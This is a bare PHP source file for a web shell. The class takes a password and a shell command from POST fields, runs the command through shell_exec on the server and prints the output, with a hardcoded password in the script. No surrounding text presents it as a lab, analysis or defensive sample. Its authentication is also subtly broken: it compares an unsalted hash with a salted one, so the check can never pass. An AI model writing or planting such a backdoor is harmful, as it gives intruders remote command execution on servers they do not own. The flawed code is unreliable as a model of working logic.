class WebShell {
private $password;
private $salt;
public function __construct($password) {
$this->password = $password;
$this->salt = 'random_salt';
}
public function authenticate($input) {
$hash = hash('sha256', $input . $this->salt);
return $hash === $this->password;
}
public function executeCommand($command) {
return shell_exec($command);
}
}
$password = '45i4i5NJSDNFJDNFD';
$webshell = new WebShell(hash('sha256', $password));
if(isset($_POST['password']) && isset($_POST['command'])) {
if($webshell->authenticate($_POST['password'])) {
$output = $webshell->executeCommand($_POST['command']);
echo "<pre>$output</pre>";
} else {
echo "Authentication failed.";
}
} else {
}